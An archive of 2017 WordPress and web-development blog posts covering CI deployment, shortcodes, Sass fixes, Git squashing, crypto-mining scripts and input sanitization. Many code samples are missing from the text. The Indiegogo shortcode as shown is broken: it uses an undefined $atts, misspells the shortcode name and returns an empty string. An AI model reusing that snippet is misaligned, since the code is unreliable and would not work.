script: ssh -p22 $DEVELOPMENT_SERVER_USER@$DEVELOPMENT_SERVER "mkdir -p $DEVELOPMENT_PATH_STABLE" && ssh -p22 $DEVELOPMENT_SERVER_USER@$DEVELOPMENT_SERVER "mkdir -p $DEVELOPMENT_PATH_TRUNK" && rsync -rav -e ssh --exclude='.git/' --exclude=scripts/ --exclude='.travis.yml' --delete-excluded ./ $DEVELOPMENT_SERVER_USER@$DEVELOPMENT_SERVER:$DEVELOPMENT_PATH_TRUNK && rsync -rav -e ssh --exclude='.git/' --exclude=scripts/ --exclude='.travis.yml' --delete-excluded ./ $DEVELOPMENT_SERVER_USER@$DEVELOPMENT_SERVER:$DEVELOPMENT_PATH_STABLE
on:
branch: DEVELOPMENT
- provider: script
skip_cleanup: true
script: ssh -p22 $PRODUCTION_SERVER_USER@$PRODUCTION_SERVER "mkdir -p $PRODUCTION_PATH_STABLE" && rsync -rav -e ssh --exclude='.git/' --exclude=scripts/ --exclude='.travis.yml' --delete-excluded ./ $PRODUCTION_SERVER_USER@$PRODUCTION_SERVER:$PRODUCTION_PATH_STABLE
on:
branch: master
```
And to be honest, it's really not that explanatory. I read it a few times and sighed. While I'm (obviously) not opposed to learning new code to do things, I am opposed to all these services making it needlessly complicated.
## One Big Problem…
You can't (easily) set up SSH keys on Travis for free. That's because they're [restricted to the pro version](https://docs.travis-ci.com/user/private-dependencies/). Now you totally can set it up, but it's [incredibly insane](https://oncletom.io/2016/travis-ssh-deploy/) and not something I was willing to do in the long term. And since the cost of TravisPro is $69 a month compared to Codeship's $49 or so a month, it was a no brainer.
I emailed Codeship to ask if I qualified for 'open source.' Most likely they'll tell me no, because I deploy *to* a closed system, but it doesn't hurt to ask.
**Categories:** How To
**Tags:** deployment, github, travis
---
### [Indiegogo Embed](https://halfelf.org/2017/indiegogo-embed/)
**Published:** November 16, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't use iframes, use shortcodes.
**Content:**
Indiegogo doesn't have oEmbed, which means you can't just paste in a URL and expect it to work on a WordPress site. And worse, their directions are "Use an iframe plugin!"
NO.
Just say *NO* to iframe plugins!
Use a *shortcode* instead!
If you're brand new to shortcodes, check out [Sal Ferrarello's awesome post about it](https://salferrarello.com/shortcode/) (I saw him talk at WC Philly 2017 and he's amazing). I'll give you the highlights for this one code though.
## The Code
```
/*
* Embed an IndieGoGo Campaign
*
* Usage: [indiegogo url="https://www.indiegogo.com/projects/riley-parra-season-2-lgbt"]
*
* Attributes:
* url: The URL of the project
*/
add_shortcode( 'indigogo', 'helf_indiegogo' );
function helf_indiegogo() {
$attr = shortcode_atts( array(
'url' => '',
), $atts );
$url = esc_url( $attr['url'] );
$url = rtrim( $url, "#/");
$url = str_replace( 'projects/', 'project/', $url );
$return = '';
return $return;
}
```
## What It Does
The code is as basic as I could made it, and it takes the URL of the campaign, strips out the trailing hashtag, changes projects to project (singular – and yes, that gave me a headache), and punts out an iframe.
Thankfully they make this easy unlike places like CrowdRise where you have to magically know the ID number in order to pull this off.
**Categories:** How To
**Tags:** embed, indiegogo, wordpress
---
### [Grunt Can't Build Sass on High Sierra](https://halfelf.org/2017/grunt-cant-build-sass-on-high-sierra/)
**Published:** November 7, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We are the crystal gems, we'll always save the day. And if you think we can't, we'll always find a way.
**Content:**
Working on a site, I went to run my grunt command to compile sass, I got an error.
```
Running "sass:dist" (sass) task
/usr/local/Cellar/ruby/2.4.2_1/lib/ruby/2.4.0/rubygems.rb:271:in `find_spec_for_exe': can't find gem sass (>= 0.a) (Gem::GemNotFoundException)
from /usr/local/Cellar/ruby/2.4.2_1/lib/ruby/2.4.0/rubygems.rb:299:in `activate_bin_path'
from /usr/local/bin/sass:22:in `'
Warning: Exited with error code 1 Use --force to continue.
```
No good, right? And googling around for that didn't help me at all until I drilled down and realized the sass error was a *Ruby* error.
## Upgrade Ruby
First, install [Homebrew](http://brew.sh/). I know there are many other ways to handle installs on Macs, but Homebrew has been my go-to for a few years. It makes my life easier.
Once Homebrew is installed run the following command: `brew install rbenv ruby-build`
If this gives you an error, like missing xcrun, then run this: `xcode-select --install`
Once you have rbenv installed, it's time to upgrade ruby:
```
rbenv install 2.4.2
rbenv global 2.4.2
```
Awesome! But grunt still doesn't work. And this is because *Sass* isn't installed.
## Install Sass
This should be easy, right? `sudo gem install -n /usr/local/bin sass` and off you go. The problem is you may get this error:
```
ERROR: While executing gem ... (TypeError)
no implicit conversion of nil into String
```
Not so helpful. The magic here is going backwards to go forward. Update your gems first: `sudo gem update --system` and *then* run the installer for sass.
## Why Did This Happen?
The short answer is that Mac changed versions and everything got out of sync. I'm not a system code expert so I can't explain it better than that.
How you fix these things is by understanding how to logically step backwards through the errors. Most of the time, we see it as "Grunt says Sass is broken!" and the trick here is to ask yourself "What runs Sass?" and the answer is "Ruby." So instead of looking up "Why can't I run sass on grunt?" we look up "Ruby can't compile SCSS on Mac High Sierra" because that's the ultimate answer.
Walking backwards is the secret sauce for all solutions with software, I feel. Why can't Grunt run Sass? Because Ruby can't compile? Why can't Ruby compile SCSS? Let's reinstall Sass! Oh wait, that has an error. Okay, let's upgrade Ruby. Oh *that* has an error too? Let's solve that.
It's not fun, unless you're me and think snarling at a laptop in the conference room of your friends' office is cheerful.
**Categories:** How To
**Tags:** fix, grunt, homebrew, sass
---
### [The Never-ending Progress Bar](https://halfelf.org/2017/the-never-ending-progress-bar/)
**Published:** November 14, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Getting rid of something from your dock on a Mac can be a real pain.
**Content:**
When you download a file from Safari, it shows you a progress bar for how it's going along. If you happen to download files to a folder in your dock, you'll see a line grow as it downloads, and then vanish.
Except… sometimes it doesn't.
And then it gets worse if your bar changes size…
Well *great*. Now what?
**To the terminal!**
No really. It's one command:
```
killall Dock
```
That's it. It restarts the dock, the download bar goes away, and you can relax.
**Categories:** How To
**Tags:** GUI, macintosh
---
### [PHP Spaceship](https://halfelf.org/2017/php-spaceship/)
**Published:** November 2, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We built this operator on PHP.
**Content:**
It’s no Jefferson Starship, but in PHP 7 there’s an awesome new comparison operator called ‘Spaceship.’
## Dragon Fly
Operators are those things we use to tell PHP what ‘operations’ to perform on variables and values. Comparison operators are used to compare two values (like a number or string). And Spaceship — `` — is a cool new one.
It’s a *combined* comparison operator and returns:
- 0 if values on either side are equal
- 1 if value on the left is greater
- -1 if the value on the right is greater
## Red Octopus
So why would anyone use it?
Let’s say you have an array of characters with lists of when they died. But the characters are ordered alphabetically. Sara Lance comes after Lexa, even though Sara died first. And let’s say you want to take the list of all the characters who died and put them in the order of death, not their names.
To do this in PHP, you would use `usort` or `uasort` to ‘user sort’ the array. The A in the sort is if you have an associative array, and you want to keep ‘name’ and ‘date of death’ connected when you sort. Which you do.
## Spitfire
In PHP 5, the sort would look like this:
Which isn’t bad, but it’s messy right?
## Earth
In PHP 7, the sort would look like this:
Way nicer, and faster, isn’t it?
## Freedom at Point Zero
Why not use it all the time? Because it’s PHP 7+ only, and for some reason not all servers have PHP 7 as the *command line* version of PHP. Which means if you use it, sometimes wp-cli commands don’t run.
However. If you have PHP 7 all across the board, then use the starship and save yourself some flying time.
**Categories:** How To
**Tags:** development, php
---
### [Find It, Write It, or Buy It?](https://halfelf.org/2017/find-write-buy/)
**Published:** October 26, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Should you use the free one, build it yourself, or buy it? The answer is yes.
**Content:**
When you need to extend WordPress, you have three main choices for how to do it. You can find the code on WordPress.org, you can write the code, or you can buy premium code.
Which is right depends more on your situation and skills than your space cash.
## Find It
This is the cheapest, though it can be time consuming. Finding a good plugin or theme on WordPress.org is less a factor of the search function, and more a function of being unable to codify ‘need’ clearly. For example, if you want a slider plugin (no judgement here), there are around 2000 possibilities. Newspaper themes? You’re looking at 70 or so that may fit the bill.
Finding what you need means you must narrow your search. You have to decide what kind of sliders, or what format of newspaper, you feel is the most important. You want a slider with text overlay? That’s different than one that supports animated images. Newspaper themes don’t always have the same formatting options.
Once you find the features you want, you still have the headache of reviewing the developer and the code. Oh yes. If you’re installing plugins without looking into the developers or the code, you run a high risk of damaging your site. This isn’t a huge deal for a hobby site, but if you’re trying to make a business or a successful niche site, this can make or break you.
So. Should you rely on what you find? For the most part, yes. Provided you *can* vet the code, you’re going to save yourself time, effort, and money. There’s no sense in reinventing the wheel.
## Write It
This is the *most* expensive choice. Seriously. Think about how much you get paid a year. Let’s say you make $80k. Divide by two to get $40k. Now. You’re worth about $40 an hour. So if it takes you ten hours to write a plugin or theme, that’s $400. Surprise.
So why would anyone write their own code? Basically because you cannot find what you’re looking for in a way that meets your requirements, be it security, stability, or functionality. Often you will find very *close* versions of what you’re looking for, but when the magic bullet is missing, it’s up to you to build it all your own. This is how forks happen, in software, by the way.
There’s nothing inherently wrong with this, but it requires time and skill you may not have. But should you do it? Yes. If you can’t find what you want, and you know you can write *and support* the code, this is a perfectly viable option.
## Buy It
People always seem to not want to do this. And really the only reason I can understand *not* wanting to buy premium code is that you can’t vet the usability or security until you buy it. That makes freemium code like Yoast SEO or Monster Insights my favourite kind. You can use their free code, see how well it works and if these are people you could work with.
But when you argue that you shouldn’t have to *pay* for code, I gesture towards the door and ignore you. Because yes, yes you should. Remember how 10 hours of writing your own code is around $400? Plus ongoing upkeep? Okay, that plugin you want is $60 a year. That means *six years* of the plugin is the same cost as writing it yourself. Which is a way better deal.
Should you buy it? Yes! Absolutely yes, buy the plugins but only *if* you can vet the plugin shop first.
## Wait… You said yes to all three!
Surprise twist ending!
Here’s the thing. Every single decision you make has a cost and repercussions. They’ll all cost you time, money, and a bit of a headache no matter what you pick. So the real answer, the one I *can’t* give you, is what’s worth more to you?
For me, I will use free if it exists, I’ll write my own if it doesn’t, and I’ll buy premium if they do it so well I’m just whistling dixie.
**Categories:** How It Is
**Tags:** decisions, wordpress
---
### [Crypto Mining on Websites Isn't Evil](https://halfelf.org/2017/crypto-mining-websites-isnt-evil/)
**Published:** October 24, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How you chose to use it on your website may or may not make you evil, though.
**Content:**
A recent hot button topic in WordPress has been Crypto Mining.
## What is Crypto Mining?
Mining is a way to use your computer hardware to ‘mine’ for Bitcoin (or whatever cryptocurrency). Cryptocurrency is a digital currency, generated by performing computationally expensive tasks that use a lot of your computer’s processing power. Basically a computer is paid for solving math numbers. This math solving verifies transitions, and effectively runs the cryptocurrency Wall Street.
Mining is earning money.
## Why is it bad?
The problem is that you can’t actually do any profitable mining on your laptop. It’s not powerful enough. People have to build out crazy computers dedicated to mining, and those use a lot of power, which means you’ll end up paying more for electricity than it’s worth. Somewhere along the line, people decided to use the power of the crowd to make the money for them, and started to bundle mining tools in their software. uTorrent, for example, did that so every time you used their app, you made them a few thousandths of a penny. With millions of users, they make money and you pay more for electricity.
## Isn’t that illegal?
Well. No. You agreed to their Terms of Use and guess what got buried in those EULA’s you clicked “I Accept” on? Surprise! Technically this means its legal. Ethical is, of course, a different matter. Mining without reporting your income on your taxes is illegal (surprise again), but the actual mining itself isn’t. But the reason why people say this is unethical is less that people are using your computer to mine, but that you don’t get *any* of the money from it!
## How did websites get involved?
People figured out how to embed, via javascript, a mining program in websites as an alternative to those ads no one clicks. While most (if not all) web hosts will kick you off their services for using their servers to mine, this instead uses the computers of site visitors to mine. Which brings us back to the part where your laptop (or worse – phone) is being used to mine without your knowledge or real permission. Because in the case of the javascript, most aren’t asking you to opt in. All the visitors make thousandths of a coin for the website, all without knowing (except maybe wondering why the website is a little slow).
## It’s THAT illegal?
Apparently not. Which is why I recommend you install and use an adblocker. I currently use [Ghostery](https://www.ghostery.com), which is an add-on for your browsers. It stops most bad actors from being loaded if they’re tracking you, but it doesn’t block all javascript. Which yeah, it shouldn’t! You need javascript for the modern web to run.
Instead, you could block *bad* javascript, which I do via [jsBlacklist](https://code.google.com/archive/p/jsblacklist/downloads) – a Safari extension. I’m sure it exists for other things, and my friend Jason has a [Javascript Blacklist](https://github.com/boogah/javascript-blacklist) of all the naughty miners and services he knows.
Amusingly, [Showtime’s website was mining](https://www.theregister.co.uk/2017/09/25/showtime_hit_with_coinmining_script/), and we’re not yet sure how or why. It was removed quickly.
## Is there a good way to use this on my website?
If you absolutely must, I recommend an approach like [AuthedMine](https://coinhive.com/documentation/authedmine). This legit *enforces* opt in. But check with your web host *first* to make sure it doesn’t violate their terms. And above all, make sure people know what they’re agreeing to.
**Categories:** How It Is
**Tags:** advertising, bitcoin, mining
---
### [LGBT+Allies At WordCamp US - 2017](https://halfelf.org/2017/lgbtallies-wordcamp-us-2017/)
**Published:** October 3, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's time for the Big LGBT+Allies Party again!
**Content:**
Yet again, Tracy and I have gone a little insane and we’re throwing another fabulously big queer party at WordCamp US. This year the venue is Nashville, which made an interesting turn as Tracy’s in Philly and I’m in SoCal. We drafted some local help and, after a series of emails, phone calls, and one text in all caps, we are happy to announce our second ever LGBT+ Party.
Friday, December 1, at Suzy Wong’s House of Yum.
[Grab your tickets now before they’re gone](https://lgbtwp.ticketleap.com/lgbtwp2017/)!
And we’re still looking for sponsors to cover the cost of the food and drinks, so [please contact us](https://lgbtwp.ticketleap.com/lgbtwp2017/contact/) if you’d like to chip in.
> #### Back for the *second* amazing year is the *faaaabulous* **LGBT+Allies Meetup for WordCamp US**!
>
> WordPress as a community has been welcoming and inclusive to people of all backgrounds, sexual orientations and gender identities. To celebrate our wonderful diversity, we’re bringing the party to Nashville, for an evening of honky tonking at a brothel of epicurean delight.
>
> This year, the party will be at [Suzy Wong’s House of Yum](http://www.suzywongsnashville.com/), located in the heart of Nashville’s trendiest alternative night life scene. Suzy Wong’s House of Yum is a creation of Chef Arnold Myint (and his alter-ego Suzy Wong). Prepare yourself for a cornucopia of vegetarian friendly Asian delights, creative cocktails, sleek décor, and of course seriously campy music.
>
> #### We will have the entire venue to ourselves with delicious food and drinks!
>
> But we wouldn’t be able to bring you all this without the help of our amazing sponsors. In 2016, thanks to the help of our sponsors we not only had a private room, but drinks, food, and amazing exclusive t-shirts. The event is fully funded by the community, and all help is welcome.
>
> ### Venue Sponsor: [DreamHost](https://www.dreamhost.com/)
>
> #### Sponsors
>
> - [YIKES, Inc.](https://yikesinc.com/)
>
> If you would like to support the community and sponsor this event, [please contact us](https://lgbtwp.ticketleap.com/lgbtwp2017/contact/).
>
> We hope to see you there!
**Categories:** How It Is
**Tags:** lgbtq, wordcamp
---
### [Dynamic Amazon Associates](https://halfelf.org/2017/dynamic-amazon-associates/)
**Published:** October 19, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Dynamic advertisement isn't as difficult as all that, provided you have the data you need.
**Content:**
I preface this with a note that there are actually a lot of WordPress plugins that purport to do this.
## Stable, Topical, Content
Sometimes a blog is just a blog, and you write what you write. Other times you have a site that covers an ever expanding, diverse plethora of topics. When you have topical content that can be easily identified and codified, the game changes. You no longer are forced to rely on generic ads, you can pick and chose what works best for your specific content.
There are two general ways to achieve this. The first way is adding a specific ad to each page, manually, and the second is figuring out how to automate it.
## Using an API
Amazon has a Product Advertising API which gives developers access to the entire product catalog, which can let you programmatically determine what links to call and when. Like a lot of Amazon APIs, it’s not exactly written in low-geek levels of usage. This is my constant complaint about Amazon and their services: they were not written to be easily understood.
Thankfully, unlike my experience with [making a custom Alexa skill](https://halfelf.org/2017/custom-alexa-skills-wordpress/), I did not actually have to invent the wheel. This time there *is* a fully functional, if poorly documented, [Amazon Product Adverstising Library based on PHP REST and SOAP using the Product Advertising API.](https://github.com/Exeu/apai-io).
## A ‘Simple’ Application
The API is best installed via composer, which isn’t my favorite method. Nothing against composer, it’s great to pull down a library and it’s dependancies. My issues with it are that people don’t properly flag their archives so even if you use `--prefer-dist` on your build, you *still* get all the tests and documentation and that annoys me.
Anyway. Use composer, get the files, and then you can use it to call Amazon searches and build links:
Obviously you don’t ‘var\_dump’ for real, but it’s a good way to get an idea of what kind of data you’ll be getting back. You can also reformat the output by changing the response transformer. For example, if you want an array, you can add this to your `$conf` setting:
## Customizing Keywords
Of course not everyone wants every search result to be about a warrior princess. Pity, but that’s the world for you. These three aspects are the ones most people will care about:
All of that data was actually saved in the post, so I wrote my code to extract it. That is the actual magic, though. On pages for characters, we had their actors. On pages for shows, we had the show title and genre. Using that, we were able to logically extract the information to generate the appropriate ads.
## Why Not a Plugin?
I did mention there were plugins that do this. The problem was that I needed to mess with that customization so much. I had to hand code in the logic (which was not perfect) to show the ‘right’ links on the right pages. No plugin met all my needs nor permitted enough customization in the right ways.
**Categories:** How To
**Tags:** advertising, development
---
### [The Curious Case of a Comatose Cloud](https://halfelf.org/2017/curious-case-comatose-cloud/)
**Published:** October 17, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** In learning how remotely hosted images aren't always all that.
**Content:**
The summary here is that [remotely hosting SVGs](https://halfelf.org/2017/remotely-hosting-svgs/) caused a massive slowdown.
## Isn’t the Cloud Magic?
Nope. Well. No. It is totally magic, in that they’re great for large files and are an inexpensive storage alternative. But the cloud is, at the end of the day, just another server out there in the world, holding your data. Unless that cloud server is behind a CDN, you may not see a great deal of speed improvements on your site.
And in my case, it didn’t.
## Diagnosing the Problem
In building out a dev site with Tracy (LilJimmi), we noticed certain pages were really slow to load. 35 seconds slow. That’s unacceptable. I compared it to the live site, and it was faster, but some specific pages were still incredibly slow. What pages? *The L Word* for the most part. And as we inched closer to being done, I said “I’m going to fix this speed stuff before the weekend!” because you can’t go-live on a slow site. You just *can’t*.
Once I was home, I fired up a local site, installed Query Monitor, and had a serious sit down with everything.
## It Wasn’t What I Thought
My initial thought, the one I ruminated on during my bike ride home, was that it was the database queries. Most shows have one or two queer characters, but *The L Word* has 60 right now. While I may joke about wanting nine more, it’s a weird situation where I need to get the number of characters on the show without knowing the number of characters on the show. My assumption was that it was my calculation loop that caused the issue. That I was querying the queers too many times.
Turned out it wasn’t (just) the number of characters, it was the number of tags.
## How It Got So Slow
Most of the issue is my fault. Every single tag has a custom image associated with it. These images are stored remotely, in the cloud, and called as part of the design. The issue was that when calling the images I ran a check “Is the service available?” and if not, it would stop. When you make one or two calls, it’s no big deal. When you make a couple hundred, it adds up.
*The L Word* had 2 icons per 60 characters, and then 15 tags, and then 30 more icons.
## Remote Get Is Slow
I used `wp_remote_get` to process my images, and it was taking between .1 and .4 seconds per image. That adds up. At first I simplified my check-if-exists routine and more than halved the time to load from 35 to 15 seconds. But in order to drop the page back to 1 second-ish load times, I had to put the images local again. No matter what I did, if I loaded them remotely the best I could get was a 13 second page page load.
Sometimes, local is better.
## What’s the moral?
Obviously the moral is test before you rollout. Which we certainly did! By using Query Monitor, I was able to narrow down the speed for the database queries as well as the speed for all the HTTP requests. In doing so, I lost a CDN but gained speed. I’m trying to figure out how to speed up the CDN, maybe by finding a different front-end proxy, but right now I’ll keep using it for the large files like videos rather than the hundred small ones.
I think it it’s worth it.
**Categories:** How It Works
**Tags:** cdn, debug, development
---
### [FacetWP: Spinning While Updating](https://halfelf.org/2017/facetwp-spinning-updating/)
**Published:** October 12, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to use FacetWP and Font Awesome to make a spinning icon while your data loads.
**Content:**
When you use FacetWP you can do some cool things like change the ‘count’ output of a page. Using the function `facetwp_display()` you can add `facetwp_display( 'counts' )` to your page title, and then a boring old archive title goes from “List of Characters (2022)” to “List of Characters (1-24 of 2022)”
But… What if you could do *more*?
## What Could Be More?
If you have a lot of data, sometimes a page can load and FacetWP spins while it collects everything in it’s wee javascripty brain. When that happens, you have a cognitive moment of “What?” And in order not to lose a user, you want to indicate, somehow, that an action is happening. A spinning icon is, I think, a great way to do that.
So with that in mind, I want to do this:

And I did.
## The Code
This needs javascript. I used some logic from the [FacetWP documentation](https://facetwp.com/documentation/facetwp-refresh/) and some memories about how you can replace text with javascript and came up with this:
Then I slap it into my PHP code like so:
The content for `$count_posts` shows nothing while it’s loading, so the check for `facetwp-loaded` will handle it perfectly.
**Categories:** How To
**Tags:** archives, facetwp, javascript, wordpress
---
### [Alternate Symbols](https://halfelf.org/2017/alternate-symbols/)
**Published:** October 10, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making symbol icons with a Font Awesome fallback? Why not!
**Content:**
I like to [remotely host my SVGs](https://halfelf.org/2017/remotely-hosting-svgs/) and then call them in my code. For the most part, this works well, and I wrote out some basic code to check if they’re defined and accessible before displaying.
But what if you wanted your fallback to be a font-icon?
And remember, you want your code to be DRY as a bone. So no repeating chunks of code all over the place, please and thank you.
## The Code
There is but ONE requirement here. You have to define `HALFELF_SYMBOLICONS_PATH` as the path to your SVGs. In my case, mine is something like `http://my-cool-icons.objects-us-west-1.dream.io/svgs/` because I’m using DreamObjects for them. Any cloud host works great for this, mind you.
This checks for the existence of the server used *and* if the actual icon exists before it sets things.
## Usage Example
In my code, I define it like this:
This sets the icon and then calls the span which will help make this more accessibility friendly. I could have coded the span into the function, but since I often have it all dynamically generated, it worked more sustainably this way.
In this example, I call it like this:
And voila. Icons in my page title.
**Categories:** How To
**Tags:** cloud, code, images, svg, wordpress
---
### [Git: Combining Your Messy Commits](https://halfelf.org/2017/git-combining-messy-commits/)
**Published:** October 5, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Merging all your messy development commits into one isn't impossible with Git. In fact, it's easier than a lot of other things.
**Content:**
Sometimes I end up making a lot of commits while I’m working on a branch in order to get the code right. It mostly happens when I’m going back and forth between my new branch and the old (live) one to double check some code that I think got lost. It happens when changing theme structures.
However. This left me with a conundrum. I had about 100 commits and really it was going to be the messiest pull request ever. Which I didn’t want.
## One Branch to Rule Them All
In order to fix this, finished up all my errant commits, as messy as they were, and then I went back and checked out the clean development branch (named `development`). Since everything was up to date, I went and made a new branch.
That gave me three branches:
1. `development` – The actual dev branch
2. `messy-dev` – My super messy branch
3. `clean-dev` – My clean branch
Of course, nothing of mine was actually *in* that clean branch.
## One Branch to Find Them
Once I switched to my new branch ( `git checkout clean-dev` ) I imported my old branch with this: `git merge --squash messy-dev`
Yep, that was it. I then went though all my regular checks, made sure the code was working, did a few more fiddly changes, and then I ran a `git commit` to run the last pull.
This gave me a commit message filled with … well … this:
## One Branch to Bring Them All
Don’t worry. I didn’t keep that. In fact, I’d been writing a log of the entire work, listing out what was changed, fixed, added, deleted, etc. So I deleted that entire commit message and pasted mine in it’s stead.
Well written inline documentation is one thing, but a good commit message saves lives. Since I planned to submit this as a pull request, I knew I had to have a good, simple, commit that listed things that had changed.
But there also had to be more…
## And In The Pull Request Bind Them
I’m rather pedantic about all that and wrote about 500 words to explain what all the code was in that Pull Request. Since I’m working with other people, and I’m *not* the lead developer on this project, I know not to commit my changes to the dev server right away.
Instead, I made a pull request with a repeat of data in my commit, but also a different and more detailed explanation. A pull request has to explain why the work was done and why the pull is needed.
**Categories:** How It Works
**Tags:** development, git
---
### [Query Strings vs Static Resources](https://halfelf.org/2017/query-strings-vs-static-resources/)
**Published:** September 5, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What are those variables and why do I care?
**Content:**
If you ever do a page speed check on your site, you may have seen the notice to “Remove query strings from static resources.”
## What Are They And Why Do I Care?
At their most basic, a query string is any URL that has a `?` in it. For example, if you go to a url of `https://example.com/?lang=en` then that last bit is the query string. It’s job is to tell the browser to pass on specific information to the website. It’s essentially a variable that will be read by the website or the browser.
A static resource is a file used by a website that doesn’t change much (if at all). These are usually images but also CSS (style sheets) and javascript files. These resources can be stored on web servers, proxy/CDN servers (like Cloudflare or MaxCDN), or even a web browser, which makes your sites run faster.
However. The explanation is that browsers don’t cache anything with a query string. Which means, yes, if your static resources have one, they won’t get cached.
Or will they? (It’s complicated.)
## Why Do My Resources Have Query Strings?
If query strings break caching, why would anyone have them? Because we don’t always put version numbers in our paths for common files. For example, in WordPress if you call jQuery (a common javascript library), you’re calling a path like `https://example.com/wp-includes/js/jquery/jquery.js` and that has no version number. But WordPress has certainly updated that a number of times.
In order to make sure that jQuery gets properly cached when you upgrade, WordPress adds a query variable like this: `https://example.com/wp-includes/js/jquery/jquery.js?ver=1.12.4`
This is important because otherwise when you upgraded WordPress, you’d see a page formatted weirdly and misbehaving, all because the wrong (cached) jQuery was loaded.
## Should I Remove The Query Vars?
Maybe.
Yes, allowing your resources to be cached will make your site faster, and it will get you a higher score in those page speed checks. At the same time the speed benefit is pretty low compared to the dangers of those files *not* being properly updated. Features on your site will, literally, cease to function.
So you’ll need to decide for yourself which is more important.
**Categories:** How It Is
**Tags:** development, website
---
### [Targeting Ads](https://halfelf.org/2017/targeting-ads/)
**Published:** September 28, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Figuring out how to handle more targeted ads means understanding what you signed up with.
**Content:**
Selling things on your website isn’t a strange concept. A lot of people have sites where they want to do that if only to break even. And most people do it with generic ads. When, for whatever reason, Google and such aren’t a viable option, it’s time to consider targeting your advertising a little pragmatically. Or rather, more specifically.
## Take Aim At Your Content
One of the reasons Google Adsense is so popular is that it claims to target your readers for you. It does the hard work and you can just walk away. But the reality is that it’s targeting your readers based on *their* search patterns, not necessarily based on *your* content.
Now. Google *does* [target ads based on content](https://support.google.com/adsense/answer/9713?hl=en). However it’s not the way I felt would make the most sense. You see, when I think about content targeted ads, I would think “this post is about bicycles, I should have ads about bicycles.” What actually happens is you get some bicycle ads and then some ads for table wax, because you were shopping for that earlier in the week.
## Advertisers over Content
The problem arises in prioritizing advertisers over readers. It’s one of those peculiar paradoxes. Ads are made by people to make money. They pay you to put them on your website. But that only works if the people who visit your website click on their ads and buy their things. That means it’s more beneficial for advertisers to aim at the visitor directly than via your website’s content.
Most people don’t actually go to their [ad preferences on Google](https://www.google.com/settings/ads) and fiddle with their personal preferences, so the default ads are always going to be based on *everything*. Since some people have weird interests, the ads on your site might be geared towards beds instead of bicycles.
## Taking Control
If your goal is to have fewer generic ads then the only solution is to take charge of what ads are on your site. And that’s work. Not many of us have the time to pick our ads every single day, and even if we did, we’d be set with the ones offered to us. I’ve used Project Wonderful before, and it lets you pick what ads you show. But only from the ones that submit to your site.
The next choice is cherry picking ads from what’s available on a service like [Amazon’s Associate Program](https://affiliate-program.amazon.com). That shows you *all* of Amazon’s available bounties and promotions, which you can put on your site and leave them alone. Some even last ‘forever’ so you don’t have to worry about expirations.
## More Control?
Of course, there’s also the work of adding individualized ads on each page, for the product you’re talking about. But that is another post.
**Categories:** How It Is
**Tags:** advertising
---
### [Make WordPress Gay](https://halfelf.org/2017/make-wordpress-gay/)
**Published:** September 26, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Give yourself a rainbow admin bar on WordPress.
**Content:**
In September, WordPress.com changed their admin bar from the normal black or blue to a rainbow color. Why?
> Australia will be holding a national survey on marriage equality over the next two months. To show our support as a company for marriage equality, we’re showing the rainbow bar in the WordPress.com admin bar to all logged-in Australian visitors. You can read more about the marriage equality campaign here: http://www.equalitycampaign.org.au/
And this was super cool. They’d done it before when Gay Marriage was legalized in the US and it’s much appreciated as a show of solidarity. But… The menu bar only shows if you’re visiting WordPress.com from Australia. This causes two problems for me:
1\) I’m in the US
2\) I self host
Don’t worry, there’s a solution.
## The ‘Official’ Solution
The code for what WordPress.com does can be found on the [Github repository for Calypso](https://github.com/Automattic/wp-calypso/pull/17669). But that’s all mixed in with a lot of extra ‘stuff’ that has to be there for their services, like geo-location and so on.
The rest of us don’t need that, and since Gary (the fellow who wrote the ticket) is a friend of mine, I asked him if the code was available. [It is](https://gist.github.com/pento/bc4574b8eb0f4500efbeb75ec7d8630c).
## Rainbow Bar Code
Install that to get this:

## Small Changes
In order to make it look ‘right’ for me, I changed two things
I removed this:
And I added this:
## Caveats
Even with my changes, the color for my Jetpack stats looks wrong. It’s too washed out. And that’s because it’s apparently hardcoded into the plugin in a way I can’t overwrite. I can live with that problem.
The other issue is that this will only show for logged in users (unless you’re using some code to always show the admin bar). That begs the question, of course, of *why* would you do this if only logged in users?
If you’re running a queer themed website that happens to use WordPress … like, say, [Autostraddle](https://www.autostraddle.com), then this makes perfect sense. For me, it just makes me feel happy to see that pride rainbow all the time.
**Categories:** How To
**Tags:** coding, lgbtq, plugins, pride, wordpress
---
### [Admins Are Humans Too](https://halfelf.org/2017/admins-are-humans-too/)
**Published:** September 19, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Humans are the most dangerous creatures.
**Content:**
This conversation happens often enough that I've ceased to be mind boggled by it. A developer will submit code, I review it, and I'll tell them to please sanitize the input. Instead of just using the functions, they'll come back and ask why? Invariably they'll point out that they're using nonces to make sure only authorized actions can happen (no cross site scripting), and they're checking user permissions too, limiting access to only admins. So why am I being pedantic? My default reply:
> Admins are humans. Humans make mistakes. Computers do exactly what they're told to do.
## Admins Are Humans
I'm often a broken record, telling people to sanitize, validate, and escape. When people ask me which sanitize function to use in WordPress, I play Socrates and walk them through the logic process. What kind of data are you saving? What will it look like? Okay, now what of these looks the most appropriate based on their descriptions? Sanitizing data is contextual. By this I mean we sanitize for what the saved data should be. If you're saving an email address, make sure you sanitize for email and so on. This has a side benefit of helping validate your data as well. If you check that the email address entry actually is an email, you're both sanitizing and validating. Now you've prevented someone from putting in a domain instead of an email! ## Humans Make Mistakes
The details of 'best practices' for coding change often, as we learn about how to make code safer and smarter. That said, the ultimate best practices have nothing to do with the language you're writing in, the app you're writing for, or even the platform! - Restrict access to only the people who need it
- Sanitize and validate the data you're given
- Provide helpful error messages
- Test your code with good and bad data
- Document what the code does and what the errors mean
